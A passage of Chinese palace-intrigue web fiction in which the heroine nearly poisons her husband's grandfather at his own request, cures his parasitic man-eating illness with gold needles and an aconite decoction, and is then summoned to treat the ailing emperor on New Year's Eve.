这时茯苓走到近前,轻声提醒道:“姑娘,奴婢又把饭食热了一遍,您多少吃些才有力气读书。” 慕容鸾音放下书就叹气,“那是饭吗,猪食罢了。” 茯苓亦是无奈,斟酌了一下才开口道:“奴婢早上吃了半碗,除了没有嚼劲,味道比昨日送来的倒是精进了一些。” 慕容鸾音舒展一下腰身就挪到榻床边沿,捂着饥肠辘辘的肚子,皱巴着脸道:“肚子是饿的,可是只要一想到静园送来的鼎食就犯恶心,这日子什么时候是个头,你果真把消息告诉黑伯了?” “奴婢发誓,奴婢真真亲口把世子爷为您吐血的事情详细的跟他老人家说了一遍。” 茯苓蹲在地上,一边为慕容鸾音穿上夹棉绣鞋一边诚恳的回答。 “那怎么还没有动静,要拖到年后吗?” 慕容鸾音寻思着,走去了厅上,忍着恶心感吃了小半碗。 正在丫头们撤下金鼎,抹擦桌子的时候,院门外忽的传来一阵异样的响动,不消片刻,院门被从外面打开,黑伯推着萧 长生走了进来,在他们身后,观棋流星倒进花坛内,一个仰面朝天,一个趴伏在花丛里,一动不动,竟是晕死了过去。 慕容鸾音嚯然站起,心口狂跳数下后,蓦地咬住牙根,迎了出去。 却见,那轮椅上坐着一个面黄肌瘦,头发雪白的老人,她乍然见了,受惊不小。 “您、您可是病了?” 萧长生看着站在廊檐下的慕容鸾音,露出一抹慈爱的微笑,“是病了一场,不过不要紧了。阿音丫头,舅外祖十分想念你亲手熬制的莲子羹了,今日除夕,你再为舅外祖熬煮一碗吧,这一次,舅外祖一定吃干净。” 慕容鸾音心神俱震,愣在那里,虽是心中猜出了答案,可是当这个答案真正摆到面前时,心中竟是如此的酸疼难言。 “怎么,你记恨舅外祖,不愿意了?” 慕容鸾音拢在袖内的手缓缓攥紧,垂下眼睛遮掩泪意,缓缓转身让开道路,“外头冷,厅上暖和,您先进去等候。” 随即,便叮嘱茯苓冬葵去准备食料,并让她们把茶炉子提到厅上,她要亲自看着。 萧长生笑道:“飘起小雪来了,我赏赏雪,就在这廊檐下吧。” 慕容鸾音轻“嗯”一声,没再理会他,待得烧的旺旺的茶炉子提来,安置在廊檐下,丫头们又搬来一套桌椅,她就在椅子上坐了,等到砂锅里的水沸腾,亲手把盛在小盘子里的莲子、银耳、红枣、桂圆等食材放了进去。 萧长生看着她合上砂锅盖子才慢悠悠的道:“阿音丫头,你明知我厌恶峥儿对你有生死相随的痴情,却故意让丫头告诉我他为你吐血的消息,你是什么意思?” 慕容鸾音紧紧抱着暖炉,看向树下那些齐头断落,半掩在积雪中的红茶花,呆愣了一会儿才坚定的道:“您今日到我这里来抱着什么样的目的,我就是什么目的。舅外祖,我不想被一条名为生死相随的绳索捆着,我想要自由。” 萧长生听了,佝偻的身躯前倾,怒道:“峥儿那么爱你,你竟敢不爱他?你怎么敢!” 慕容鸾音讥诮一笑,拿起蒲扇来,把茶炉子烧的更旺,巴望着这一砂锅莲子羹能快些熟透。 萧长生见状,讪讪起来。 黑伯听的云里雾里,赔笑道:“阿音丫头,主子就是嘴硬,他还是疼你的,这不,找个吃莲子羹的借口就来看望你了,想与你和解。” “你闭嘴,这里没你的事儿了,防着院门口那两个小子醒过来去通风报信,你到院门外守着去吧。” “是。” 慕容鸾音见他把黑伯撵走,也顺势把身边服侍的丫头都远远支开。 “阿音丫头,你别怪我心狠,我得了不治之症,在临死之前就想为峥儿清除你这一则隐患。他是我呕心沥血,培养打磨出来的一柄利剑,我要他长命百岁,钢筋铁骨,没有一丝破绽,再为萧氏延续百年荣光。你能懂吗?” “懂,您想让他变成一个只知道为家族荣光而战的无情人罢了。于峥哥哥而言,您是他又敬又俱之人,我是他挚爱之人,我们两个就是他生命中最重要的两个人,唯有我亲手毒杀你,才能砍断他系在我身上的命弦。” 萧长生怔住了,“你、你这丫头竟看得这样透彻,是我小瞧你了。” 慕容鸾音没作声,一招手,茯苓便用茶盘托着,送来了一套笔墨纸砚,一盒鲜红的印泥,以及一份写好的和离书。 慕容鸾音强压下心头的刺痛,淡淡道:“我可以成全您,也请您成全我,用国公印在这张和离书上盖个章,签下您的名字,待得您死后,我也会离开国公府,离开……他。” “你……” 慕容鸾音当即冷冷道:“既然已经决定用自己这条老命铸造他的钢筋铁骨,我也成全,您还想啰嗦什么?” 萧长生闭闭眼,心一狠,当即就指派了黑伯去拿国公印。 待得黑伯拿回国公印,萧长生在和离书上签了字,盖了章,锅盖也被热气蒸腾的“滋滋”作响。 莲子羹熟透了。 “拿来吧。” 萧长生看着伸到自己眼前的雪白纤细手掌,咬牙道:“你果真舍得离开他?” “拿来。”慕容鸾音不耐烦的催促。 “你不爱他,才会如此果决,是不是?!” “拿来!” 慕容鸾音一把抢过他死死攥在手心里的小药瓶,扯掉红绒塞子,一股脑就把药粉都倒进了莲子羹。 萧长生瞪大眼珠,浑身颤抖。 慕容鸾音盛出一碗来,两手捧着,竟没有感觉到一点滚烫,反而觉得浑身发冷,小小一碗莲子羹,竟仿佛泰山压顶那般压着她,压的她心口窒痛,似有一只手在那里撕扯。 这一碗由她亲手熬煮,亲手撒了砒霜的莲子羹,再由她亲自捧着喂给萧长生,她与萧远峥之间必然产生一道深深的裂痕,再也没有回头路可走。 “舅外祖,喝吧。”慕容鸾音在萧长生面前缓缓跪下,两手高举,泣泪如珠,“我送您上路。” 从此,我妄想了两世,已然得到了的生死相随的情爱,和您一同埋葬。 就在这时,一枚翠竹玉佩飞射而来,轰然击裂了羹碗。 慕容鸾音和萧长生同时吓了一跳,萧长生怒目圆睁,慕容鸾音被热气腾腾的莲子羹所烫,下意识撒开手躲避,跌坐在了一旁。 “嘭”的一声,热羹与汤碗一同落地,碗碎羹撒。 慕容鸾音瞥见掉在碎碗旁边的翠竹佩,心上的窒痛感一霎消散,涌上无穷无尽的委屈来,抬起泪眼瞪着飞奔而至的萧远峥,就哭道:“你答应不踏入瑞雪堂的,骗子,大骗子!” 萧远峥看着砂锅里汩汩冒着毒泡的莲子羹,再看一眼大喘粗气的萧长生,最终咬牙,死死盯着慕容鸾音,“这般浓郁的毒,我不信你自幼学医看不出来!” “我亲手下的毒!”慕容鸾音一抹眼泪站起来,侧身避着萧远峥的目光,抬着下巴道:“你囚禁我,明面上是打着爱我的名义保护我,实则是保护自己的命,我受够了你的假情假意,帮你一把,我亲手毒死你敬爱的祖父,让你由爱生恨,我就能得到自由,两全其美!” “你过来!”萧远峥蓦地攥住慕容鸾音的手腕,把她拉进屋门后,“不要跟我胡扯,我深知祖父的脾性,早在采篱园布下了眼线!” 慕容鸾音听了,唇瓣微张,把那一点心虚掩下,梗着脖子道:“你、你既然有眼线,那我还说什么,总之、总之我和你祖父的目的一样,你囚禁我,就是假情假意,不是真的爱我,我不认!” 萧远峥气的一佛升天,二佛涅槃一般,按住她张合可恶的红唇,用力捻弄,“好,那就算作你和祖父合谋,你们是想让我即刻就死,是不是?!” 慕容鸾音抓着他手指甩开,踮起脚尖来揪住他前襟,迫得他低头与她对视,“萧远峥,你自以为爱我,却不懂我,更不尊重我。我宁愿迎头去战,百死无悔,也不愿意被你以爱护之名囚禁一隅之地,荒废一身所学,被郁恨幽怨,一寸寸折磨死。” “只是暂时的……” 就在这时,门外传来黑伯的惨叫声,二人收束心神,连忙走出去看,就见萧长生咬着黑伯的胳膊肉,猛地一扯撕下了一块,野兽一般咀嚼起来。 慕容鸾音瞳孔骤缩,惊在那里。 萧远峥急忙上前救下黑伯,解下身上斗篷就要往萧长生头上盖去。 “峥儿。”萧长生两手抠着轮椅扶手,死死压制着身躯内的恶鬼,咧开满是鲜血的嘴,哀声道:“杀了我,求求你。” “我已求得陛下应允,让仵作解剖杨虬,很快、很快会查出这食人病的病因,查出了病因就能研制出解药来。祖父,您再忍忍,可好?” “舅外祖是得了和嘉懿太子一样的病吗?”慕容鸾音急忙上前为萧长生诊脉,少顷,黛眉拧起,看向萧远峥,“我爹爹曾给嘉懿太子诊脉,分明说的是经脉不畅。可此时舅外祖的脉象,如珠滚盘,仿佛喜脉,不对、不对,比 喜脉更快,更杂乱。” 就在这时,萧长生大叫一声,赤目嘶吼,“我要吃人!” 萧远峥死死把萧长生钳制在轮椅上,望着慕容鸾音道:“仵作解剖杨虬,在他脑内、心脉中都发现了毒虫。陛下在太医院抽调了十位太医,把他们关在太清殿,让他们研制解药,至今尚无进展。你的金针术能缓解祖父的痛苦吗?” “毒虫?”慕容鸾音星眸微睁,脑海中已把祖传医书中关于虫类引起的疾病病历都调了出来,把心一横就道:“你把舅外祖挪到屋内罗汉床上,捆缚四肢,除去衣衫裤袜,我有主意了。” 话落,当即叫来冬青,写成一张药方,让她去抓药,速去速回。 约莫一个时辰后,慕容鸾音端着熬好的汤药走向守在罗汉床边的萧远峥,“我爹爹曾用祖传药方给嘉懿太子治病,但他那时怕附子之毒太酷烈会损害太子的贵体,就减轻了用量,太子喝下去后,不仅没有效用反而加重了病情,可是方才我听你说,仵作在杨虬心脉中发现了毒虫,结合舅外祖此时的脉象,我下诊断,白玉京用来控制权贵的长生丹,是一种寄生人体的虫病,人体有虫,那就用打虫药,我结合我慕容氏祖传的一些打虫药的药方,添加大量附子,开了一张新方,现在已然熬成了一碗毒汤,我要给舅外祖喂下去,以毒攻毒,你要阻止吗?” 萧远峥怔怔看着坚定从容的慕容鸾音,“你确定吗?” 慕容鸾音轻“呵”一声,指着被捆在罗汉床上的萧长生,“他是谁,他曾是被誉为战神的冠军大将军,是定鼎国朝,立下赫赫战功的一代英豪。为了不沦为吃人的怪物,为了有尊严的死去,真心求死,求解脱,是你偏执自私,把他留在身边,宁愿看着他被病痛折磨的尊严丧尽也不成全,你扪心自问,违逆他人意志的挽留、囚禁,是真正的孝与爱吗?” 这时,萧长生亦死死盯着萧远峥,眼珠凸瞪,血丝爆裂,流下一行血泪来。 萧远峥脸色煞白,缓缓抬手,拔出了塞在萧长生嘴里的一团锦帕。 “杀、杀了我……” 慕容鸾音见他妥协,便要上前喂药,萧远峥却从她手里夺走药碗,嘶哑着道:“我自己来。” 慕容鸾音没言语,默默把金针拿在手里,亲眼看着他一勺一勺把毒汤喂进了萧长生嘴里,一滴不剩。 约莫一盏茶后,萧长生剧烈挣扎起来,嘴里开始往外呕黑血。 “祖父……” 萧远峥缓缓跪下,垂眸落泪。 “你起开,且别忙哭丧。”慕容鸾音上前挤开萧远峥,一边搭着萧长生的脉搏,一边在他心窝上睃巡。 “茯苓过来,用白棉团擦拭黑血,若发现虫子就赶紧挑出来。” “是。” 萧远峥见状,心中也升起一点光亮来。 此时,萧长生也挣扎的越发猛烈,带动的罗汉床吱嘎震颤。 萧远峥冷静归笼,当即召来观棋流星,让他们二人抱住床腿,稳固床榻。 就在这时,慕容鸾音看见萧长生心窝处肌肤下有东西在快速蠕动,当即屏住呼吸,眼疾手快射出一根金针,猛地将那凸起蠕动的一点刺穿、定住。 萧远峥眼眸一症,瞳孔骤缩。 “阿音……” “嘘。” 茯苓看着自己手上拿着的白棉团,上面那扭动的,如丝线般的白虫,抖若筛糠,“姑、姑娘……” 慕容鸾音扭头看过去,脸色微白,压下恐惧恶心感,硬撑着把冬青喊了过来,让她准备一坛烈酒,把恶虫浸入其中。 萧远峥见萧长生挣扎的力道减轻,立时便道:“观棋,你去接替茯苓。” “是。” 慢慢的,萧长生安静了下来,也不再吐黑血。 慕容鸾音再诊其脉,就变成了经脉不畅的脉象,这也说明,萧长生体内还有毒虫,只是暂时被附子毒汤压服了下去。 “如何,祖父可有生机?” “若能彻底清除舅外祖体内的毒虫,说不得就能痊愈。” 慕容鸾音看向插在萧长生心窝里的金针,道:“你那里可有趁手的刀具,我想把那条虫挖出来。” 萧远峥想了想就道:“赵荆那里的飞刀可用。” 慕容鸾音用过赵荆随身携带的飞刀,就道:“勉强可用。” 一个时辰后,萧长生被包扎好伤口,挪去了东厢房安置。 厅上,罗汉床被下人搬了出去清洗,换了一张瓜瓞绵延纹三面屏紫檀榻,榻中摆放了一张紫檀嵌山水理石炕桌。 萧远峥更衣后,捧着梅青酒坛坐在上头,见烈酒中那两条毒虫不再游动,横漂水上,就交给丫头拿了下去。 时已黄昏,雪停了,有鞭炮声陆陆续续从府外传来。 慕容鸾音带着茯苓冬青,正在雪地里找什么东西。 萧远峥自袖中掏出一张纸,走向莲花香炉,一面引燃一面微微扬声,“阿音,你在找什么?” “要你管!”慕容鸾音头也不抬就不耐烦的答了一句。 忽的,慕容鸾音蓦然转头看向萧远峥,见他手中捏着一张烧了大半的信纸,心头一突,急奔而至,伸手就去抢,却被一只大手猛地攥住了手腕。 萧远峥把最后一点纸片扔进炭火,就两手用力把慕容鸾音弄在了怀里,“阿音,你需知道,即便是祖父写下的和离书,盖了国公印章,我也是不认的。” 慕容鸾音看着那张和离书被烧成灰烬,怒极反笑,两手掐住他脖子道:“你也需知道,但凡你囚禁我,我就恨你,我不认你这个做法是爱我,你是偏执,是自私,是可恶!” “那你就掐死我吧,我死在你前头,就不会再经历失去你的恐惧,如此,亦是我的解脱。” “你怎么这样……”慕容鸾音心酸衔泪,情不自禁改掐为抚,又气的跺脚,杏眸冒火般的盯着他,这才发现,他额角竟有一块泛紫的淤青。 “你这是怎么弄的?” 慕容鸾音坏心,伸手去使劲戳了一下。 萧远峥“嘶”了一声,只紧紧拥着她,没作答。 就在这时,茯苓急声禀报道:“世子、世子爷,宫里来了个什么内相,闯进来了。” 几乎是茯苓的禀报声才落地,就有一个身穿绯红蟒袍,腰挎玉带的大內侍,大踏步走到了屋门口。 萧远峥蓦地抬眸看去,心上一瞬惊颤,上前一步,把慕容鸾音挡在身后,一拱手就冷声道:“范内相不经通传,直闯入我府中内宅腹地,这是何意?” 范守君自顾自走到屋内,择了一把玫瑰椅坐下,笑眯眯道:“世子爷,您脑门上那块淤青还疼着吧,其实你我心知肚明,我就不挑破了,终究陛下对您的信重还在我之上。您呀,退到一边去,咱家此来,是奉旨请慕容氏金针术继承人慕容大娘往宫里去,给陛下行针的。慕容大娘,您可愿意?” 这一声“您可愿意”,何似于对被关在笼子里的鸟说“牢门已开,你可愿意飞向高空”。 慕容鸾音一瞬喜出望外,当即从萧远峥身后走出,直面眼前这位御前大內侍,福身一礼,坚定道:“愿意。” 萧远峥紧攥的双拳,蓦地松开,修长的手指,皆无力的垂下。 范内相一愣,没想到慕容鸾音竟是如此爽快,禁不住在夫妻二人脸上仔细端详,心中想到什么,忽的大笑起来,道:“世子爷啊世子爷,原以为是你们夫妻齐心,糊弄陛下,不曾想尊夫人是位巾帼,不让你这须眉。” 慕容鸾音听的云里雾里,禁不住问道:“敢问内相,这是何意?” 范内相笑而不语。 萧远峥叹气道:“您到前厅喝口茶,我与夫人更衣后,和您一同进宫面圣便是。” 范内相禁不住也轻叹一声,起身道:“世子爷,您心里别怪陛下拖尊夫人下水,您也是多次见证过陛下犯病的,他也是忍不得了。” 说完此话,就大步离开了瑞雪堂。 慕容鸾音当即看着萧远峥道:“我知道,你在宫里一定发生了什么事儿。我也知道,宫廷诡谲,伴君如伴虎。但是, 我偏是要告诉你,前面就算是刀山火海我也要亲自去爬、去跳,都比被你囚禁笼中,折翅蔽心要强。” 萧远峥不语,仿佛认命了一般。只拉着她的手走进暖阁,又叫了茯苓冬葵进来服侍更衣。 “去把我与你们夫人的金莲花斗篷找出来。” 慕容鸾音的红色羽缎金莲花斗篷,曾盖在玉生烟身上,事后,萧远峥拿了回来。 冬葵答应一声,连忙去开衣柜翻找。 茯苓就去找了一双滚白狐毛金线满绣山茶花的云锦鹿皮靴来。 萧远峥把慕容鸾音按到床上坐着,接过茯苓手里的云锦皮靴,缓缓蹲下,就木着脸道:“倘若陛下问起,你就说已怀有身孕,一月有余。” 慕容鸾音正被他的一举一动弄的心里发毛,闻听此言,当即又恼起来,“我没有身孕,为何要我欺君,我是去给陛下治病的,和我有没有身孕,有什么关系啊?!” 萧远峥为她穿好锦靴,这才缓缓抬起一双猩红眼眸。 “那我,就犯了欺君杀头之罪,能死在你前面,于我而言当真是解脱。” 第68章 第068章青云直上九重霄…… 却原来,早在大理寺狱,萧远峥严审玉在山、玉生烟时,长盛帝就在板壁后旁听。那时,慕容鸾音竟然能用金针术催发玉生烟的最后生机,给长盛帝留下了深刻的印象。只是那时慕容文博还没发病,尚能缓解头痛痼疾,长盛帝就没言语。 后来慕容文博因病去职,袁院使顶上去就不大好了。若说慕容文博行针能把疼痛降低到不耽误安睡的深度,那么袁院使行针只能做到隔靴搔痒,次次都引得长盛帝发怒,三四次后,袁院使的手开始抖,浑身冒虚汗,竟是再也不能了,只得跪在长明殿外请罪,自冬至日始,至今日除夕再也没能站起来。陆陆续续又有四五个太医跪在那里陪他。 载着慕容鸾音和萧远峥的马车,由大內侍范守君亲自驾着,自东华门入,径直行驶到了长明宫福寿门外。 守门的是两个全副甲胄,手持红缨长枪的亲卫,甫一见到范守君归来,便急忙把门打开了。 萧远峥下得车来,便伸手去接慕容鸾音,慕容鸾音正满心的惶惴不安,便把与他的爱恨恩怨暂且都抛到脑后,情不自禁的依赖他,把手放到了他的手掌心上。 萧远峥心暖轻叹,一手握紧,一手搂腰将她抱下,托臀一转,打横抱在怀里,就迈过门槛向内走去。 慕容鸾音惊的身子僵硬,木愣愣的看着他,只觉耳畔风雪声忽的都变大了,缓了好一会儿才磕磕巴巴的低声道:“这、这不是陛、陛下的长明宫吗?” 这是何等严肃森然的地方! 萧远峥踩着积雪,目视前方,温声道:“那又如何,你胎像不稳,本不该被召到这里来,陛下早已明知,无碍。” 慕容鸾音心口一堵,握紧拳头,不再看他。 不远处,有一座灯火最辉煌的巍峨宫殿,宫殿四周,密密实实站了一圈的亲卫军,个个甲胄森然,腰挎长刀,头盔红缨、肩上吞兽都被白雪覆盖,仿佛没有生气的铁傀儡一般。但慕容鸾音知道,只要皇帝一声令下,这些铁傀儡都会活过来。 随着萧远峥抱着她踏上通往长明殿的石阶,慕容鸾音就看见在玉石栏杆之下竟堆了六个雪人,禁不住就低声道:“我记得你曾说过一嘴,陛下把孝诚王放在长明宫他亲自抚养,这些雪人定是那位小王爷堆的了,是不是?” 萧远峥抬起的脚一顿,复又结结实实踩在阶梯上,兀自道:“一会儿见了陛下,你只管行针治病,务必要谨言慎行。若问起你怀孕的事情,只管说没有。” 慕容鸾音哼他一鼻子,“偏又说这样的话,你不过仗着我不会要你的命罢了。” 璀璨的灯色下,她一双大大的杏眼,波光潋滟,顾盼多情,几乎像是从慕容青云脸上抠下来似的。 真的太像了。 萧远峥眉眼一横,托着慕容鸾音腿弯的手臂缓缓收紧,大踏步登上了殿前回廊。 这时,一个穿杏黄小龙袍的少年从殿内跑了过来,看见萧远峥,先是行了一个见师礼,随即直直盯住慕容鸾音,语带急切,“你便是擅金针的慕容大娘吧。” 萧远峥回礼后道:“这便是八皇子,孝诚王。” 彼时,慕容鸾音已稳稳站在地上,闻言,恭敬的福身行礼。 “免礼免礼。”孝诚王面色惶惶,急切道:“慕容大娘,我替阿爹给你传话,殿内已为你行针治病做好了万全的准备,一会儿你随我进去,免你一切虚礼,你不要怕,怎么为别人用针的就怎么为我阿爹用针。阿爹还说了,若你能似你父亲一般,让他安睡,还给你封赏。” 一边说着,一边就急急的引领着慕容鸾音向殿内走去。 慕容鸾音听他说话行事,小大人似的,又如此谦逊有礼,不禁心想,怪不得封号是“孝诚”两个字呢。这个念头只在一瞬间。待得踏入高高的门槛子,她的心就提了起来。 殿内,正中是明黄的御案,金灿的屏座,宝鼎鹤灯,皇权庄严。左右两边各有一道雕花红门,此时都开着。穿过左边的红门,豁然开朗,如入春日园林,扑鼻而来阵阵佛手柑橘的清香,假山流水,绿意盎然。 慕容鸾音一下子就想到佛手柑橘舒缓头痛的效用。心下了然。 彼时,月洞窗下,设着一张黑檀木躺椅,有个身穿明黄夹纱衫的白发老人正躺在上头。 孝诚王楚瑛拉着慕容鸾音的手,把她送到老人跟前,忙忙的道:“慕容大娘,你快些吧。” 若说萧长生是蜡黄枯瘦,那么躺椅上的长盛帝就是苍白虚胖。此时,他紧闭双眼,两手抓着一根黑檀木葫芦纹如意,指甲盖在上面留下了密密麻麻的月牙痕迹,显见的是在忍耐。 慕容鸾音见状,心中恍惚着明白了这位陛下的用意,是为了降低她心中的恐惧,可见,眼前这位,虽是掌握着生杀予夺大权的皇帝,却也有和善可亲的一面。 当即不敢耽搁,往一旁绣墩上一坐,调整呼吸,尽力用平稳可靠的声调道:“请您把手放到脉枕上,容臣妇先为您诊脉。” 长盛帝闭着眼照做。 慕容鸾音当即搭了三指上去,微垂双眼,静心感受,约莫有一盏茶的功夫,蓦地睁大了一下眼睛,随即又调整姿势,在长盛帝脉息上诊了一盏茶的功夫。心脏不受控制的咚咚咚狂跳了起来,冷汗自额上沁出,面色惨白的回头看萧远峥。 夫妻二人双目对视,萧远峥心头“咯噔”一下子,刚要张嘴说话,只听紧闭双眼的长盛帝嘶哑着声音开口道:“慕容丫头,你的金针术,朕详细的了解过了,像你父亲那样,为朕行针便是,其他的,朕心里有数。” “遵、遵命。” 这时范守君捧着一个长方形的鎏金大茶盘走近慕容鸾音,“请吧。” 大茶盘内,除了摆放了一整套的金针外,还有一个打开盖子的紫铜手炉,炉内盛着火红的小块银丝炭。 慕容鸾音稳了稳心神,捏起金针,在火炭上燎了燎,靠近长盛帝的头颅,一针就扎在了百会穴上,又快又准,还带着一股子一往无畏的狠劲。 一针下去,长盛帝先是感觉到一瞬的剧痛,紧接着就似闻了薄荷,一霎醒脑开窍了一般,脑内痉挛似的血管都通畅了。 长盛帝紧闭的双眼缓缓松弛下来,吐出一口气就道:“你这手,比你父亲更胜一筹。他也是起手就扎朕的百会穴,但他胆小,不如你。” 慕容鸾音亦缓缓吐出一口气,紧绷的身子慢慢放松下来,带着点笑意道:“这一针扎好,剩下的二十针就容易了。” 一边说着,一边陆陆续续在另外二十个穴位上都扎上了针。 “这针需在您身上留置半炷香的功夫,半炷香后,臣妇收针。”慕容鸾音斟酌停顿一会儿,秉持着医者之心,攥着拳头低声道:“陛下不可再用药,任何药都不能了。” 长盛 帝闻言,缓缓睁开眼看向慕容鸾音,一霎愣住,缓缓低喃,“重霄……” 慕容青云,字重霄。 萧远峥心中早有预料,上前一步,将慕容鸾音的手紧紧握住。 慕容鸾音瞥一眼自己被握住的手,只以为萧远峥是怕她向长盛帝告状,心中冷哼,挣脱出来,就露出一抹乖笑,“我曾听祖母多次提起过,陛下与祖父君臣相得,情谊深厚,我生得肖似祖父,惹得您老人家想起他了是吗?” 在一旁的范守君当即提醒道:“慕容大娘慎言,陛下面前,如何能口口称‘我’。” 慕容鸾音心口一突,忙忙的掩住嘴,一时得意,便把在家时的习惯带了出来,粉白俏脸一霎绯红,愧悔之极。 “多嘴。免除一切虚礼,是朕许了她的。” “是。”范守君连忙退避一旁。 头痛渐渐舒缓,长盛帝整个人都松弛下来,细细打量了慕容鸾音好一会儿,面露浓浓的怀念之色。 “你祖父男生女相,昳丽无双,你这一双眼睛最像他。” 说着话,香炉中的一线香已燃烬了一半,范守君捧起香炉,向慕容鸾音示意。 慕容鸾音便福身一礼,走到长盛帝身旁,收针。 彼时,长盛帝头脑清爽,终于有了困意,半合眼道:“你想要什么封赏?” 慕容鸾音喜上眉梢又强压住,忙忙的道:“我慕容氏,自曾祖起便在太医院供职,不曾断过,到了我这一代,既然是我继承了金针术,就该担当起来,我、我想入职太医院,只是不知可有我这样的先例。” 萧远峥一听,就知慕容鸾音打的什么算盘。 当即什么也顾不得,跪地就道:“启禀陛下,臣妻胎像不稳,即便是要入宫当值,也需在产子后,把身子修养好了方可。臣这把年纪,好不容易有了这一胎子嗣,臣着急心切,万望陛下成全。” 长盛帝听出他们夫妻之间的龃龉,顿时露出一点看好戏的笑,斜睨萧远峥,虚声道:“朕这会儿困乏,不与你计较。十个月后,如她腹中没有孩子呱呱坠地,朕要摘你的脑袋。” “谢陛下隆恩。”萧远峥连忙行一个跪拜大礼。 慕容鸾音怕再被萧远峥囚住,急道:“便是没有女子入职太医院的先例,陛下您也是需要我的,对吧?” 长盛帝脸上笑意更浓,就道:“你这丫头急什么,这样吧,给你一块出入宫的腰牌,臭小子若是再欺负你,你尽管进宫来,朕给你做主。” 话落,示意范守君道:“拿那乌银凤鸟牌子。” 范守君一怔,恍惚了一瞬,忙忙去了,片刻后回来,便恭敬递给了慕容鸾音。 “您拿好,这块牌子是陛下曾专为慕容大人打造的,您手持此牌,可直入长明宫,无人敢拦。” 慕容鸾音如获至宝,两手紧紧攥着按在胸前,跪地谢恩。 长盛帝见她喜形于色,一双含情目,七分纯粹三分傲气,便想起初见慕容青云时的情景,那少年与他奏对时,出口成章,顾盼生辉,那一双眼睛也是如此。心中忽的怅然沉闷起来,开口便道:“除夕夜是阖家团圆的日子,回去吧。” 话落,恹恹闭上了眼睛。 萧远峥见状,拉着慕容鸾音叩头谢恩后,轻步退出。 孝诚王送了出去。 待得走出小红门,便见一位打扮素净的清丽宫妃正等在大殿上,甫一瞧见他们出来,便低声急切的询问道:“如何?” 萧远峥作揖道:“请贵妃娘娘安。” 慕容鸾音一听“贵妃”二字,便知是孝诚王之母,宠冠六宫的章贵妃了,立时就跟着行礼,恭敬问安。 “快免礼。” 这时孝诚王笑道:“母妃放心,这位慕容大娘一出手就缓解了阿爹的头痛痼疾,这会儿怕是已经睡下了。母妃也终于可以回宫去安心睡一觉,这里有我呢。” “我睡不睡的有什么要紧。”章贵妃欢喜的打量慕容鸾音一回,就拔下头上一支衔珠凤钗来,亲自插戴到慕容鸾音的发髻上,连声道谢。 字字句句真心实意,感激不尽。 贵者赐,不敢辞。慕容鸾音只得行礼道谢,恭敬受了。心中却想到,这章贵妃是洛淑仪后母的亲妹妹,这行事作风与性情,真是百闻不如一见。反正和恶毒后母不沾一点边。怪不得她能宠冠六宫呢。 “今儿是除夕,我不多留你们了,快回家团圆去吧。”章贵妃亲自把萧远峥慕容鸾音送出殿门,又目送良久,回到自己宫中,沐浴更衣后,躺在帷帐内,才冷下脸。 ——好一双钩心的招子,好一个慕容重霄,死了也阴魂不散,怪不得竟动用了那张宫牌。 因长盛帝犯了头疾之故,听不得噪音,故宫中禁一切声响。 可出了宫门,马车逐渐远离皇宫之后,隐隐的就有鞭炮声传来。 随着马车靠近长街坊市,鞭炮声越来越肆意,夜幕上空的烟花就越来越璀璨。 慕容鸾音放下车帘,捏着藏在袖袋里的乌银凤鸟宫牌,腹中已是积攒了一肚子的话要问、要说,还有一件顶顶紧要的事情要告诉他,要关起门来说,在马车上都不行。 想到这件要命的秘辛,慕容鸾音看一眼闭目养神的萧远峥,禁不住冷哼,只你沉得住气不成,我也能做到。 夫妻二人共乘一辆马车,一路没说一句话。直至到了瑞雪堂,顾不得洗漱更衣,萧远峥就把所有服侍人等都打发了出去,将门扉紧闭,把慕容鸾音拉到暖阁就低声道:“你为陛下诊脉时,忽的脸色苍白看向我,可是陛下的身体出了什么问题?” 第69章 第069章我就要去!…… 慕容鸾音见他面露急色,自己反而不急了,慢悠悠解下绯红莲花斗篷递向他,拿娇作势道:“你也有求我的时候。” “皇帝的身体康健与否,事关重大,阿音,这不是玩的,快说与我。” 一边说着,一边接过斗篷,也三两下解开自己的斗篷,抱在一起扔到了床侧的云母围屏上。 “我自然知道。”慕容鸾音踢掉脚上云锦靴子,爬到床里盘腿坐着,紧张兮兮道:“你快进来,把床帐放下。” 萧远峥依言照做,放下床帐,在床沿坐了。 慕容鸾音立时就道:“我诊着陛下的脉,衰竭之相太过明显,已经由里及表。苍白浮肿,应当是长期服用参汤等补气养身汤药所致。又或许是我医术不精,我不敢说死了,陛下怕是、怕是……” 萧远峥面色沉重,心提到嗓子眼,“怕是如何?陛下每月还都有召幸后宫嫔妃的记录,一二年总该有吧?” 若能有一二年的准备,皇位更迭也可安稳过度了。 慕容鸾音轻轻摇头,攥着拳头道:“我、我只背的医书多些,经验不足,终究是纸上谈兵,兴许不准,往大了说半年,往小了说,只有、只有二三个月,陛下那个脏腑,任何延年益寿的补药都相当于毒药了,可若是为了提升气血再服用些,怕是、怕是一个不慎,暴亡也是有可能的。” 萧远峥瞳孔骤缩。 一霎,帷帐内落针可闻,原本清幽的山茶花香,也似凝在半空,一丝也闻不见了。 半响,萧远峥找回自己的声音,轻握慕容鸾音的手,嘶声道:“你这双手诊的脉象,我信。” 慕容鸾音这才大口呼吸起来,抬起袖子擦滚到脸颊的汗珠。 “难怪陛下近来多次询问抓捕仙主的进展,原来是……时日无多。” 此时,萧远峥满脑子都是长盛帝对他的知遇之恩与信重之情。可他却连谋害君王爱子的邪教首脑都还没抓住,无用至极! 想到此处,便打定主意,在长盛帝薨逝之前,将白玉京的仙主抓捕归案。 “夜深了,你歇下吧。” 话落,起身向外走去。 慕容鸾音听他提及白玉京和仙主,顾不得穿鞋,赤脚踩在绒毯上就拦到他前头,“我大概知道你心里急了,又对陛下有愧,就想着尽快找到谋害嘉懿太子的凶手,好让陛下了却这桩心劫。但此时,已过子时,各大公廨都关门了,你能调派的人手、属下也都睡了,你这会儿能做什么去?倒不如歇一夜,明儿天亮再努力。” 萧远峥心中隐隐有了一个怀疑对象,苦于没有直接的证据,此时正想梳理,见慕容鸾音拦住他,又精神奕奕一点也没有困倦的样子,就一把拉住她,撞开珍珠帘,穿过厅堂,绕过缂丝屏风,就去了他卧房窗下的大书案前。 “大驸马杨虬死了,但我在 查封他的居所时,查出了一本精细的账册,这账册上只记录了一种卖品,名叫‘长寿大药’,而这‘长寿大药’只是隐称,实际上是人肉,婴胎。购买者,非富即贵,上涉皇亲国戚,下及富商巨贾。” 萧远峥一边说着,一边铺开一张大宣纸。 慕容鸾音便忙去提了个暖水壶来,在砚台上滴了两滴热水,开始帮他研磨。 